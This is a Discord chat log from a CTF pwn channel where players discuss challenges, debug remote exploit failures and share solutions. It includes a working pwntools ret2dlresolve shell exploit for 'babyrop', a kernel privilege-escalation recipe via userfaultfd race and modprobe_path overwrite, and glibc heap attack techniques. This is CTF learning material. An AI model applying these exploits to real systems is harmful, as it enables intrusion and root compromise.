It worked well for me.
#pwn
hearty sage
rich prairie
: o
next orbit
eh
my exploit fails over remote, 😦
is there any timeout for sice sice baby
i suspect that short reads are being problem
delicate meteor
wispy sierra
admin for flippidy
storm jasper
asleep 🙄
he will be up within 2 hours
if he is not I will give him a very severe chastisement
next orbit
uhh
idk why but my exploit is working on the local environment and fails on remote
could you provide the example docker file for sice sice baby ?
uh
wispy sierra
he will be up within 2 hours
nvm got the fllag I don't why it is not working locally
storm jasper
could you provide the example docker file for sice sice baby ?
it's ubuntu 19.10 running under https://github.com/redpwn/jail
next orbit
thanks
coral heart
Bruh
Tfw
my other pwn isnt released yet
Feels bad
ill save it for a different ctf
coral heart
yeah but thats toxic
storm jasper
quantum_irl
formal leaf
all we guaranteed is none after +24
hearty sage
If u know what ur doing
That's the catch here
next orbit
vagrant cypress
@coral heart even a checkfor 8bits alignment :p
coral heart
> If u know what ur doing
That's the catch here
Of course, otherwise itd be too easy :)
coral heart
<@!270292108571705344> even a checkfor 8bits alignment :p
Wat
next orbit
coral heart
:pepega:
formal leaf
:O
coral heart
👏 rpisec op
strange pecan
Yoooo congratz to whoever blooded hashbrown 🙂
Dm me your solution cuz I'm just curious
covert plank
may i see the docker file for babyrop?
covert plank
it's ubuntu 19.10 running under https://github.com/redpwn/jail
nvm
storm jasper
well that's for sice sice baby
eternal basin
why do you need the docker file?
storm jasper
wtmoo
covert plank
same as others, not working remote, wanted to see if i miseed something
eternal basin
check your offsets
covert plank
tnks, ill check
eternal basin
i bet it's m30w
coral heart
its not
👀
W this means i can release my other pwn
(^:
its easier than sice sice, i promise
vagrant cypress
M3OW the god of pwn x)
coral heart
u havent even looked at it lool
upper hollow
what libc version is used on babyrop?
upper hollow
ok, only reason I ask is the classic "works on local but not on remote"
native swift
"tfw when"
hearty karma
ok, only reason I ask is the classic "works on local but not on remote"
I have the same problem, i have something that works locally for babyrop but not on remote
proper bone
this is why u provide dockerfiles smh @coral heart
next orbit
native swift
if you provide dockerfiles you also get "how to use docker"
proper bone
i mean its better than
wild crypt
if you provide libc you get "how to use custom libc"
proper bone
ur exploit not working against remote
and u don't know why
poortho is jsut a boomer smh
dockerfile too new fangled
wild crypt
tbh i dont wana provide support for jail base
wild crypt
it already is
proper bone
o ok
wild crypt
proper bone
o then it shouldn't be an issue?
like wat are teh chances the docker build works for us
but not for competitors
wild crypt
u need a million flags to docker run tho
covert plank
I have the same problem, i have something that works locally for babyrop but not...
the author just says to check your offset's
stuck magnet
flippidy is making me mald
next orbit
👀
eternal basin
😦
eternal basin
no its not
next orbit
flippidy was troll
lmao i was like , wtf
😂
josh gave free gift,
i still don't know what the vuln was 
upper hollow
yeah i dont know either i just got the flag randomly
like i tried doing a few things and it gave me shell out of the blue
kinda trolly
coral heart
LOL
formal leaf
wtf
proper bone
:thonkeng
upper hollow
All I rembemr is that I was playing with the flip option
then I try typing something and it says bash command not found
strange pecan
now do sice sice baby / hashbrown / adult csp 🙂
proper drum
someone blood adult csp pls
so our effort setting up remote doesn't go to waste
fitting chromium into a 100mb zip isn't easy you know
strange pecan
the challs that take the most effort to setup on infra are the ones that get the least solve
strange pecan
sice sice baby is too hard
coral heart
that means its easier than sanity
strange pecan
i'm just bad 😦
orchid folio
strange pecan
what can i do to convince willwam to take up pwn
strange pecan
too much effort 😦
next orbit
solve sice sice baby
😦
proper bone
poortho u should add ur dockerfile
coral heart
nowo
brave lagoon
wait what how did people do flippidy without knowing the vulernability what
it definitely took some degree of effort for me lmao
stuck magnet
bruh what
using ld preload in pwntools makes it so i cant attach to the program with gdb
bruuuuuuuh
brave lagoon
dont use LD_PRELOAD, use patchelf with --set-interpreter and --set-rpath instead
i have had the same issue in the past, it is miserable
proper drum
^ patchelf op
brave lagoon
if theres too many libraries and there's too many things to setup, the easiest thing to do is a dockerfile with the correct environment and gdbserver installed
generally this isnt an issue with ctf problems, but it might be if youre actually trying to develop an exploit on a real app with lots of dependencies
stuck magnet
can you do this with pwntools?
brave lagoon
patchelf is a separate tool
brave lagoon
the idea is that it actually modifies the binary, so you can just run stuff in pwntools normally
stuck magnet
i see
coral heart
👀
stuck magnet
wait what is rpath supposed to be
brave lagoon
usually your local directory
so it doesnt try to load the libc.so.6 installed in your distro
but instead loads the one in the current directory
stuck magnet
ah ok
brave lagoon
RPATH is basically the directory that the ELF searches for libraries in
stuck magnet
also is pwninit fine for making the .so file
proper drum
blevy 🙏
brave lagoon
ive never used pwninit but that seems like something that could be interesting
brave lagoon
generally each libc version (both number and whether its ubuntu/debian) needs the correct interpreter
proper drum
patchelf --set-interpreter `pwd`/ld-linux-x86-64.so.2 --set-rpath . <binary> is my goto command
brave lagoon
i usually just spin up an ubuntu docker container of the appropriate version and copy the /lib64/ld-linux-x86-64.so.2 from it to get the right linker
stuck magnet
oop now i cant even run the binary lmao
brave lagoon
if u run what asphyxia posted u have to make sure the libc and the linker are both in the same directory with the binary
brave lagoon
also they need to have the correct name
linker needs to be named ld-linux-x86-64.so.2
stuck magnet
is there any way to get the correct linker in the directory without screwing up my system
or actually hm
prob can just
brave lagoon
thats why i copy from docker container
i have personally found it really hard to find the correct linker version by searching online
stuck magnet
yea ok im just gonna use docker cause now it segfaults on run
proper drum
pulling from docker container is the most convenient way to actually get the file lmao
brave lagoon
i usually just do sudo docker create ubuntu:20.04 sudo docker cp [container_id]:/lib64/ld-linux-x86-64.so.2 . -L
proper drum
tho I use ubuntu's package search to figure out which ubuntu version
brave lagoon
where container_id is returned by the create command
brave lagoon
make absolutely sure its loading the correct libraries and stuff
next orbit
😦
torpid summit
pwn/babyrop: what machine is it running on? My exploit runs fine locally but getting error on the server 😦
strange pecan
ctf only ends when hk solves both hashbrown and adult csp
quick crater
pwn/babyrop: what machine is it running on? My exploit runs fine locally but get...
If you've already got something to leak addresses it should be pretty easy to find out
next orbit
~~ctf only ends when hk solves both hashbrown and adult csp~~
ctf never ends
coral heart
👏
proper drum
pwn/babyrop: what machine is it running on? My exploit runs fine locally but get...
it runs in docker, you are intentionally not given any information on what distribution/version
.
native swift
ducker
proper drum
yes
cinder breach
That's going to be heaps of fun
hasty stratus
glad bags 2?
native swift
no
coral heart
glad bags 3
native swift
yes
proper drum
3 sgab dalg
native swift
yea this time you only get to flip half a bit at a time
proper drum
bitflips but on a ternary computer
next orbit
hot tide
free flags?
🙏
storm jasper
omg sourcelessrustwasmpwn is up pog
strange pecan
hearty sage
The name is not convincing, not even a bit.
strange pecan
Robin, solve my kernel
storm jasper
<:noleek:806567032161173554>
hot tide
ill solve your kernel 😏
strange pecan
Robinnn, take 3rd blood smh
hearty sage
Why I have a feeling you made it too hard?
storm jasper
The name is not convincing, not even a bit.
okay fine sourceless rust wasm pwn
hearty sage
That's better, see commas are important.
storm jasper
well that's why it's source rust wasm pwn
hearty sage
No matter how you put it, it is just comes down to the same :(
coral heart
🙂
proper bone
solve my pwn pls
strange pecan
yes solve rob's pwn please
proper drum
^
proper bone
onlyc ause everyone would be too lazy
to do the rev
actually didn't pernicious
do it w/o soruce lol
coral heart
wut?
strange pecan
yea pernicious didn't need src for my kernel chall
he didn't even realize there was src
hearty sage
Who is this pernicious? RPISEC and #1 on pwnable.tw but that's just it about him.
novel tusk
coral heart
lmaoo
dense field
Can someone give me some advice on babyrop? I think I may be missing something
Nobody? :/
proper bone
Nobody? :/
.
dense field
He is not online...
wild crypt
he will see the messages when hes back online
dense field
Okok thx
eternal basin
answered
rich spire
🧀
coral heart
Shouldve removed src :megajoy:
eternal basin
yudai too good
lone pendant
i have to stop playing the ctf cz i have an important task to do 😭
thank you for the amazing challenges 👍
coral heart
Maybe next year
Instead of rust wasm
I will have a rust wasm node chromium challenge
proper drum
hmm is Haskell wasm a thing
coral heart
Yes
strange pecan
Woah ptryudai 👀
severe sky
Just solved hashbrown :D awesome challenge!
native swift
rob W
strange pecan
Just solved hashbrown :D awesome challenge!
Good job 🙂
Wanna dm me your solution ?
severe sky
Yep 👍
delicate meteor
@eternal basin you around?
eternal basin
yes
analog perch
is aslr enabled on babyrop?
proper drum
yes :)
also to whoever is bashing babyrop at 6 conns/s, you're better off finding a reliable solution
you won't find many pwnables with aslr off, it's 2021 after all
however PIE is disabled on that binary
next orbit
you won't find many pwnables with aslr off, ~~it's 2021 after all~~
tfw when you hear cyberpunk used to run without aslr
vagrant cypress
SiceSice is hard af need to see a write-up after the end of this CTF x)
Very interesting challenge
next orbit
sice sice baby !
vagrant cypress
xD @next orbit did u solved it?
next orbit
yep
proper drum
someone's gonna need to volunteer a writeup bc I'm pretty sure poortho's too lazy to make one
next orbit
xD
vagrant cypress
more restrictions xD
next orbit
XD
next orbit
~~someone's gonna need to volunteer a writeup bc I'm pretty sure poortho's too l...
i'm not , maybe other teams who did may do writeup
proper drum
🤪
next orbit
idk how to explain this in a writeup 😂
proper drum
glibc heap in a nutshell
balmy matrix
something changed with babyrop? I've been working on it, did not change anything on my end but it stopped doing what it was doing 🙂
proper drum
might have been banned for abuse
balmy matrix
I was not the one bruteforcing it 🙂 I have like 2 requests per minute 😄
proper drum
hmm dm me
rustic parrot
analog perch
mostly new to pwn, completely new to rop
why in the name of the nine hells did you use write instead of puts
proper drum
🤪
analog perch
pulling my hair out trying to find a gadget
next orbit
there are more questions about babyrop than any other challs(pwn)
analog perch
heh
I keep trying to find relatively easier ctfs to take my team to
I went to justctf then this
balmy matrix
@analog perch exactly
vagrant cypress
@coral heart I hope for a write-up for Sice Sice BAABY!
storm jasper
TRUE
coral heart
👀
vagrant cypress
Great challenges deserve great write-ups
coral heart
writeups are effort zzzzzzzzzzzz
vagrant cypress
lol lazy
coral heart
yes
vagrant cypress
Just the exploit will do 👍
next orbit
👀
mossy meteor
where is the noob stuff??
native swift
have you tried adult csp
delicate meteor
I keep trying to find relatively easier ctfs to take my team to
hackthebox
mossy meteor
no i haven't but after looking at it. it would be fine but it seems like i have to make a program just to read the read me file??
native swift
you can open the readme file in a text editor
formal leaf
file extnsions are a social construct
mossy meteor
yea that didnt work so
eternal basin
try babyrop, that is the easiest pwn
mossy meteor
none of it is for a noob
cyan lantern
that is the easiest pwn
LMAO
arctic raven
Just solved babyrop. Is it seriously supposed to be a simple rop? It is the hardest I ever did
formal leaf
good enough!
coral heart
:c
upper hollow
sometimes when you say 'ayo wtf this shet should work sheeeeiiiiit'
just try it in remote
maybe you're right
eternal basin
prolly bc bash doesn't like the libc
upper hollow
: Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion sym != NULL' failed! Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion sym != NULL' failed!
it tells me this
strange pecan
glibc pwn smh
native swift
yea looks like your libc and ld don't match
the program works tho
next orbit
sourceless wasm timeout :c
uh
my exploit works locally
for sourceless wasm pwn
doesn't work on remote
never mind
solved
my bad
storm jasper
poortho gets outplayed by hk yet again
eternal basin
orz
proper bone
pls do the last pwn :(
next orbit
😦
proper bone
3/7 web tho 🤔
next orbit
we are only 3-4 / 5 people playing rn
proper bone
hm 5/6 pwn kinda flex tho
next orbit
no flex
storm jasper
🙏hk🙏
native swift
3-4 / 5
next orbit
@coral heart will make heap task next year where, only alpha numeric characters allowed
coral heart
:pepega:
jagged crystal
@native swift doesnt think sudo is reason
native swift
you crashed
jagged crystal
but locally I am not
proper drum
on remote you did
jagged crystal
and how do I know why?
eternal basin
check ur offsets or look into common pitfalls with ropchains
jagged crystal
stack aligning is fine, just need to find your version of glibc
2.2.5, but which build
jagged crystal
oh ye + 4 instructions nice
rapid pebble
do you have to read a file for baby rop?
proper drum
the flag is in flag.txt as per usual with pwn challenges 🙂
rapid pebble
okay great
jagged crystal
@eternal basin i've tried write leak, no success
jagged crystal
there is no pop rdx; ret gadget, so i cant call write correctly
native swift
try harder 🙂
torpid summit
<@!409508330856513536> i've tried write leak, no success
im in the same boat
jagged crystal
nah, i will wait for write up, no way to find libc for me
tight pumice
W
proper bone
gg
vagrant cypress
Adult CSP solved pog 😄
woeful cradle
lmao
proper bone
👀
native swift
smh pwntools rop
woeful cradle
anyone want to play "lets play code golf... with python exploit"
woeful cradle
lmao
native swift
inb4 rewriting python bin and solve script is 0 bytes
native swift
"do you want it static linked or no"
proper drum
do you want -O3 stripped or no
woeful cradle
inb4 exp.py is just `__import__("e")` and you have an `e` module in site package...
here to prove it, i'll release exp after ctf end
storm jasper
why not release it right now
woeful cradle
🤔
woeful cradle
i dunno if the mods would let me
storm jasper
I'd let you
proper drum
ok rob
wild crypt
~~I'd let you~~
aplet pls
woeful cradle
i didn't do adult csp
proper bone
just ask them for the sol to golf
storm jasper
hey look just because I'd let someone post sol early doesn't mean gink can't come in and ban them
not my issue
proper bone
next time i should add a size limit
orchid folio
proper drum
proper bone
on the js payload
strange pecan
Browser pwn on redpwnctf? 👀
proper drum
ok now it's also waf bypass
storm jasper
bowser pwn
proper drum
wtmoo leek
woeful cradle
~~bowser pwn~~
mario pwn
proper drum
uh
proper bone
windows browser fullchain
proper drum
proper bone
w/ 1days
storm jasper
ynaut 0days
proper drum
cve pwn time?
proper drum
woeful cradle
windows browser fullchain
iOS browser fullchain
wild crypt
tfw rob dropping 0days in ctf
storm jasper
:leek:
proper drum
dw we already shelled ggl
wild crypt
:thonk:
strange pecan
Just attach script with no comments
thorn aspen
I'm so happy, I am officially a baby. I managed to get babyrop to work .. after .. a .. day 😂
native swift
good job! 🎉
analog perch
holy fuck i got it
sharp light
fuck sice sice pwn, lol, please share hints now
woeful cradle
hint: you will get another hint in 7mins
proper drum
hint: just be poortho and it gives you the flag
brave lagoon
i think i understand sice sice but god damn if it isnt a pain to think about and implement
upper hollow
if youre wondering why u cant solve the chall, its bc ur not poortho
native swift
tfw ur poortho
rich spire
if you get the flag and submit it, you will get the points for the chall
whole epoch
can i ask someone about an LD_PRELOAD issue? I thought I had it fixed but apparently not. I also tried patchelf but that crashes too
brave lagoon
sure whats the problem @whole epoch
proper drum
btw if you use LD_PRELOAD with a libc that didn't come from your system, there's a good chance /bin/sh will crash
native swift
that's why I use a static linked /bin/sh 🙂
brave lagoon
yeah that
if you're debugging in gdb and you see "process forked" you're probably fine
woeful cradle
inb4 exp.py is just `__import__("e")` and you have an `e` module in site package...
from pwn import *
context.binary = e = ELF('./babyrop')
r = ROP(e)
d = Ret2dlresolvePayload(e, symbol="system", args=["sh"])
r.raw(0x40116B)
r.gets(d.data_addr)
r.ret2dlresolve(d)
p = remote('dicec.tf', 31924)
p.sendline(fit({0x48: r.chain()}) + b'\n' + d.payload)
p.interactive()
babyrop
storm jasper
pepega
woeful cradle
almost copied it verbatim from here: https://docs.pwntools.com/en/dev/rop/ret2dlresolve.html
had to fix one small thing tho
little kraken
remove spaces 🙂
vagrant cypress
Ok can we know the solution to Sice Sice BAAAABYYY! xDD
strange pecan
No heap leak poison null byte 🙄
strange pecan
Good question
vagrant cypress
No partial overwrites
and small chunks
it's doable when allocating relatively larger chunks
by bruteforcing 4bits
strange pecan
I never did it
junior delta
solution for hashbrown?
brave lagoon
im guessing that for sice sice you had to make a fake chunk and get some pointers that pointed to it using the null byte overflow?
stuck magnet
Was the way to leak libc for flippidy to double free to get a pointer to IO_Struct?
vagrant cypress
@brave lagoon Yep you need to bypass the unlink check
Just by heap feng shui
and the null byte at the end
brave lagoon
i realized that was probably what you had to do but it seemed like a massive pain in the ass
vagrant cypress
yep it is to be honest xD
native swift
Was the way to leak libc for flippidy to double free to get a pointer to IO_Stru...
you can point it to whatever
doesn't really matter
strange pecan
solution for hashbrown?
Where did you get to?
brave lagoon
@stuck magnet i just leaked one of the symbols in the GOT
stuck magnet
Yes but how did u get it to print it
brave lagoon
by replacing one of the pointers in the prompt string array
brave lagoon
i thought that was a pretty fun idea from the challenge
stuck magnet
Yea, was fun I just missed that function and thought I had to overwrite IO stuff to get it to print a leak
brave lagoon
its probably something you could do but it would take a hell of a lot of effort
stuck magnet
Learned a lot of new stuff tho so rly cool
Even if it prob was impossible to do that way
junior delta
Where did you get to?
I wasn't able to make the race condition with delete value and resize reliable, so not too far, now I'll try to understand your exploit
strange pecan
Oh to make the race reliable, you can actually hang the resize thread with userfaulfd method
native swift
you could probably use some kind of fsop for flippidy
but I didn't really look into this much
hearty karma
i was able to get a single arbitrary write on flippidy (and used it to leak libc) but what was the trick to being able to do it again without hitting one of the many malloc/free asserts
junior delta
Oh to make the race reliable, you can actually hang the resize thread with userf...
😢 I didn;t know about that, I tried to synchronize the thread right before add_key and delete_value and then try to execute them in random order but it only worked once in a while
brave lagoon
i was dumb and thought that the flippidy double free could only be done with size 1 array and spent hours upon hours trying to figure out how to avoid the fasttop corruption error
strange pecan
😢 I didn;t know about that, I tried to synchronize the thread right before `ad...
Well now you know forever 😄
junior delta
Yeah just lost 2 days xD
vagrant cypress
Well now you know forever 😄
And do CONFIG_FG_KASLR add complexity?
brave lagoon
@native swift can you give script
the only way i could find to do it was chaining together tcache poisoning to get leak and then free_hook overwrite to system
which i had to use size 3 array for
vagrant cypress
Leaks are useless?
strange pecan
Tbf I'm pretty sure unprivileged userfaultfd isn't allowed anymore starting in 5.11 (which was the only version which I could build fg kaslr successfully) so I had to patch the default value to not spoil the challenge in the init file (since seeing uffd = big race hint)
strange pecan
And do CONFIG_FG_KASLR add complexity?
Yea fg kaslr compiles most c functions in its own section and then scrambles on boot
So like per function aslr in a sense
Cant just leak one function address and get all other offsets
vagrant cypress
Yep but you can know the addresses of the functions in the same header right?
strange pecan
Hmm I don't think so? I didn't actually check lmao
The trick is data and early parts of text aren't affected by fg kaslr
brave lagoon
is there a sice sice writeup yet
polar frost
Any writeup for sourceless wasm blah blah?
vagrant cypress
Oh ok because I know that the compiler put the functions that share the same code flow into the same header and hence if you get one leak you know the other functions
Thanks that was a good challenge @strange pecan 👍
coral heart
Any writeup for sourceless wasm blah blah?
int overflow -> type confusion -> buffer overflow on stack -> overwrite bss (cuz wasm is weird, not only is bss after the stack but is also writeable even though the string should be read only) to change excalibur to flag
polar frost
Ahhh
hot tide
sice sice baby plz
dapper garden
(hashbrown) So after triggering UAF, can we get the address of text/data/etc?
brave lagoon
give sice sice writeup please thanks
dapper garden
All I could get was slab addresses
strange pecan
(hashbrown) So after triggering UAF, can we get the address of text/data/etc?
Yes you have to get a useful kernel structure allocated that contains leaks
I used shm_file_data
vagrant cypress
@strange pecan And do SLUB is exploitable the same way as SLAB in your challenge?
strange pecan
I would assume so? You might have to be careful with the freelist metadata in slub
stuck magnet
Hm was babyrop ret2csu intended?
proper drum
yes
stuck magnet
Ah nice
hot tide
omg nice comments poortho
severe sky
(hashbrown) So after triggering UAF, can we get the address of text/data/etc?
I noticed the copy_to_user leak fails gracefully on invalid addresses and then located kernel data by starting at 0xffffffffc0000000 and going backwards in steps of 0x100000, until I found a hardcoded string in the first kernel data page
Crude but works 😂
dapper garden
I noticed the `copy_to_user` leak fails gracefully on invalid addresses and then...
I solved it using this method as well
severe sky
Nice. What did you do after that? I searched for the modprobe path in the kernel data and overwrote it
vagrant cypress
Clever 😄
dapper garden
yeah, I also overwrote it and used binfmt to trigger the modprobe
severe sky
Me too
strange pecan
I wonder if it's possible to overwrite a forked cred structure cause it's 0xa8 in size 🤔
And done a real bypass
severe sky
modprobe_path seems like the easiest way to get root using arb rw
vagrant cypress
@strange pecan I don't think you can do it in this version of the kernel
severe sky
I think cred structs have their own kmalloc cache
vagrant cypress
@strange pecan It got it own cache starting at v 4.15
strange pecan
Phsymap spray too hard 😢
vagrant cypress
That's the hardest part x)
@severe sky You got arbitrary read to search for the modprobe_path right?
severe sky
Yes
Summary:
- allocate a bunch of entries
- start a resize and block it in copy_from_user after it copied the hashmap
- free all the values
- continue resize
- all values in the hashmap are dangling now
- reclaim values with entries
- locate a value which got reclaimed
- build arbitrary read/write out of that
- find kernel data by starting at 0xffffffffc0000000 and going backwards in steps of 0x100000, until finding hardcoded string in first kernel data page
- search kernel data forwards until finding "/sbin/modprobe"
- overwrite modprobe with path to exploit
- trigger modprobe
strange pecan
Levitatinglion should make writeup too 😃
vagrant cypress
Agreed x)
@severe sky If modprobe wasn't an option do you think SMEP/AP can be bypassed with RIP control?
severe sky
My approach would be to locate the init task struct in the kernel data, walk the process list until I find my process and set its uids to 0
random vault
learned so much from this ctf, pretty new to pwning , thank you for all decent pwnss 🤟 💯
vagrant cypress
My approach would be to locate the init task struct in the kernel data, walk the...
That's the way to go 👍
proper drum
_looks at my exploit and sees a ret2dlresolve_
xd
woeful cradle
xd
woeful cradle
_looks at my exploit and sees a ret2dlresolve_
kalm: doesn't even have to do any ass work cause all the hard sweaty work has already been done for me
panic: finds that exploit doesn't work on remote
kalm: realizes stack is not 16-byte aligned
native swift
uneven tusk
_looks at my exploit and sees a ret2dlresolve_
👀
vagrant cypress
@woeful cradle is ret2dlresolve do the same thing as jumping into a system@plt?
woeful cradle
yeah
vagrant cypress
I saw your 4 lines poc xD
vagrant cypress
Okey x)
woeful cradle
basically you screw with the internal elf structures so that the resolver will call whatever function you ask it
proper drum
well technically it uses dlresolve to jump into system directly, it doesn't use the plt
you just use the plt? (or is it got I forget) entry for dlresolve
woeful cradle
well see all plt function jump to some common function
that then jumps to the dl-resolver
vagrant cypress
You can even call a function without having it's plt address?
woeful cradle
the dl-resolver address is located in got
vagrant cypress
Never used it :p
I didn't know about it x)
I though it was a jump to function@plt and I was doing it manually
strange pecan
@vagrant cypress ok i added the writeup link with my exploit link in the same post in writeups if you were curious 🙂
vagrant cypress
<@!620346363707654157> ok i added the writeup link with my exploit link in the s...
I will surely read it, thanks a lot for your efforts!
hearty sage
When the writeup for Adult CSP would be out?
proper drum
@proper bone :^)
proper bone
Writeup for "Adult CSP": https://blog.robertchen.cc/2021/02/07/adult-csp/
proper bone
just making sure it gets to the ppl who want it
whole epoch
is there any way to get libc debug stuff to work using the provided (non-debug) libc for flippidy
whole epoch
wow thats awesome! never even knew that existed. thanks!
strange pecan
But I believe gef doesn't need them (only pwndbg)
next orbit
Gg
strange pecan
which do you prefer?
Any annoying heap massage, I use pwndbg, otherwise gef
native swift
jeff
storm jasper
wait what benefits does pwndbg have over gef
proper drum
what is this #define abuse smh
proper drum
https://gitlab.com/hkraw/ctf_/-/tree/master/dicectf-2021
btw post these in #writeups 😎
native swift
wtmoo define caboose
next orbit
lmao
about chall sice-sice-baby, it seems like i pulled out the solution a bit more harder way, then intended
you could have 0x100 size of chunk, when you have 0x100 unsortedbin, you allocate 0xe8 and you get chunk allocated with the 0x10 byte overhead
but my solution doesn't depends on that
next orbit
with my technique it's possible to exploit it even with 0xc8 max size allocation
vagrant cypress
That's even better
next orbit
i recalled, the old null byte technique
which worked on glibc 2.23
and then got patched later
it turns out that we can still make just a slight changes and it would still work
coral heart
hk op 🙏
next orbit
no :((
coral heart
:((
vagrant cypress
What is the methodology of solving these kind of challenges?
dapper garden
wow c++ pwntools
next orbit
for the backward consolidation , crafting fake looking double linked list with heap feng shui
next orbit
wow c++ pwntools
vagrant cypress
Yep for the backward consolidation the challenge was all about satisfying the check
next orbit
no, it wasn't really
you can try my asis chall
that one is much more easier than this
next orbit
this is spaghetti, tcache spaghetti
vagrant cypress
require 4bits bruteforce
in this challenge, we can only alloc small sizes
which means this house will not work
next orbit
👍
lone pendant
btw as far as i remember, rust handles integer overflow by default.
am i wrong or was the binary for rustwasmpwn compiled with some special options?
next orbit
yeah, idk why it worked
coral heart
i thought rust "handles" it by defining it to overflow back to 0
formal leaf
no?
coral heart
I didnt do any special options
Oh wait
It handles it in debug
But not release
I think
next orbit
🤔
proper drum
yea rust in debug will panic
next orbit
makes sense
formal leaf
o
proper drum
there's a special function you need to call for overflowing math iirc
coral heart
The current status in Rust was decided in RFC 560:
in debug mode, arithmetic (+, -, etc.) on signed and unsigned primitive integers is checked for overflow, panicking if it occurs, and,
in release mode, overflow is not checked and is specified to wrap as two’s complement.
timid sage
ye u have to do a checked_add to have it crash in release
btw @proper bone with AdultCSP, do you know exactly what object gets allocated on top of the freed CAT objects in order to result in a heap + chrome leak?
is it just some noisy allocations happening in the background within chrome?
proper bone
you don't need to know exactly what object
i just triggered network activity w/ fetch
which was noisy enough to get good leaks
timid sage
ah alright cool makes sense
next orbit
do you want -O3 stripped or no
~~do you want executable packed with custom packer? ~~
proper drum
in which I had to find some text large enough to actually make my compression decrease the final size
next orbit
native swift
why tho
proper drum
haskell pwntools when
strange pecan
Java pwntools when
proper drum
just ask rob
strange pecan
So it can run on however many billion devices
next orbit
Where is this c++ pwntools library
not released yet
strange pecan
Dang
arctic raven
Looks like I really over complicated my babyrop solution because I didn't know about ret2csu and ret2dl. I controlled the rbx register by running main (which writes 0xd to rbx before the write), and write doesn't overwrite rbx, but gets does (zeros it). So I overwritten gets GOT with a ret gadget, that way rbx wasn't overwirtten, and then jumped back to the gets@plt part where it calls the linker to restore the gets GOT so I could continue to the next stage
brave lagoon
Looks like I really over complicated my babyrop solution because I didn't know a...
honestly thats a cooler solution than either of the ret2[stuff] imo, even tho those are good techniques to know
arctic raven
lol thanks
next orbit
forbidden ctf tactics by pwn chall authors: Write pwn challs in bizarre languages so it gets less solves```forbidden ctf tactics by authors part - 2: Write pwn challs in bizarre arch so no on try to solve the chall
modern willow
@strange pecan the linux exploitation challenge was awesome ( Even though I couldn't solve it :(... ) Thank you!
upper hollow
bruh
babyrop was more interesting than I thought
I did not know about ret2dl and ret2csu
I'll have to figure them out
light obsidian
What was the intended way to bypass fg_kaslr and everything else in hashbrown? Not sure that our way of doing it wasthe intended one
eternal basin
ret2csu is basically just normal rop but using gadgets in csu
except a little bit more thinking about what get executed
cobalt yoke
Also, when we need to control rdx, for that we have to manage one funtion call, which is generally made to call _fini by people, why don't we just point it to call some ret instruction?
eternal basin
it calls [r15+rbx*8]
if r15+rbx*8 is the address of a ret, then it will call the assembly
people use _init (and _fini i guess) because there are pointers to it in the binary
native swift
ooooor you can just call got
eternal basin
you can also do that
native swift
you can also chain them together since the second gadget continues into the first
cobalt yoke
it calls [r15+rbx*8]
ohhh yeah, I totally missed it
Yeah. finding a pointer to ret instruction is quite difficult
modern willow
almost impossible
next orbit
maybe i'll do writeup for sice-sice-baby,
the new technique i used to do null byte attack is kind of intresting
cobalt yoke
@neon cosmos regarding your writeup for sice-sice-baby
# A is going to be the fake chunk to consolidate backwards to when we trigger the House of Einherjar
# it has to be positioned on an address ending on 0x00 to be able to massage the other pointers correctly,
# hence the 0xe8 allocation on #4 to adjust the heap to allign this
# AP is simply another small sized chunk used to consolidate A backwards and keep its pointers in the heap
Here chunk A can be positioned at any address ig, since we can partially overwrite the address(former chunk_size) with 4 bytes, so it wouldn't change the fd_pointer, right?
Correct me if I'm wrong
neon cosmos
Hmm I don’t think I fully understand what you mean
Part of the needed massage to pass the victim->fd->bk == victim check (and the other way around) requires using the poison null byte to change the pointers of the 2 chunks referenced in the fake chunk that is being consolidated
And because the poison null byte is the only way we can do a partial overwrite without corrupting the rest of the pointers the fake chunk has to be at a 0x00 ending address
That’s how I see it anyway, I might be missing something
cobalt yoke
According to you, here we need the address to be ending with null byte because, when we overwrite size, then one byte of fd will become 0 and hence this check victim->fd->bk == victim will fail
But, we can change size and not change fd pointers LSB, both simultaneously by overwriting only 4 bytes of size(and it will be all good as rest bytes are already 0)
See, we can partially overwrite with 4 bytes
uVar2 = read(0,*(void **)(&ptrs + (uVar1 & 0xffffffff) * 8),
(ulong)*(uint *)(&size + (uVar1 & 0xffffffff) * 4));
if ((uVar2 & 3) != 0) {
puts("No partial overwrites :)");
/* WARNING: Subroutine does not return */
_exit(0);
}
you don't need to partial overwrite
just 1 byte partial overwrite is enough ( which is always NULL )
because it writes 1 byte off
cobalt yoke
@next orbit You are talking about overwriting of chunk_size for backward_consolidation, right?
next orbit
no
i mean yes
but also by partialoverwrite, i mean just one byte of the fake chunk headers
cobalt yoke
Hmm yeah
vagrant cypress
@next orbit how was possible to backward consolidate without having a chunk with at least 0x100 as its size?
in your poc i mean
next orbit
i overflow into freed unsortedbin chunk size
since that chunk was unsortedbin , it's next chunk had a prev size and inuse bit cleared,
vagrant cypress
yep I agree
next orbit
it won't get updated because we trimmed from 0xXXX -> 0xX00
we allocate the remaining unsorted chunk back
and we have a chunk whose prev_inuse bit is cleared and also has a fake size
^_^
vagrant cypress
Okeey I'm not skilled enough to get your point but it seems promising x)
Think of a write-up to your poc
next orbit
i'll make a writeup
vagrant cypress
That's great then
next orbit
maybe will make pull request to how2heap,
do they have null byte overflow on new libc without leaks ?
vagrant cypress
it won't get updated because we trimmed from 0xXXX -> 0xX`00`
When you have done that, the size of the unsorted bin chunk has been reduced, how can you go up to the next chunk prev_size?
next orbit
When you have done that, the size of the unsorted bin chunk has been reduced, ho...
you don't need to
cobalt yoke
When you have done that, the size of the unsorted bin chunk has been reduced, ho...
ig we can change that before freeing the chunk present in unsorted bin?
vagrant cypress
Yep @cobalt yoke I guess you're right
overwrite but just with 4 bytes
to not tamper with the size
next orbit
you don't need to
oh you mean, to not crash ?
you just fake next chunk
inside that bin
vagrant cypress
Yep @next orbit I meant how can you modify the prev_size of the next chunk
whoamiT nailed it
next orbit
👍
neon cosmos
But 4 bits bruteforce
idk if how2heap has it but if you have access to > 0x100 allocations it's ez massage without leaks
vagrant cypress
Clever idea by hk as always x)
neon cosmos
and no heap bruteforce
ofc if you don't have a way to get a libc leak it's always gonna be at least a 1/16 bruteforce
vagrant cypress
@neon cosmos They have it here is the link : https://github.com/shellphish/how2heap/blob/master/glibc_2.31/poison_null_byte.c
Bruteforce of 4 bits
vagrant cypress
Because the victim chunk two least significant bytes should be NULLs
neon cosmos
I tried something similar for sice sice baby but it wasn't possible because of the context
vagrant cypress
you can't do this in sice sice
neon cosmos
Because the victim chunk two least significant bytes should be NULLs
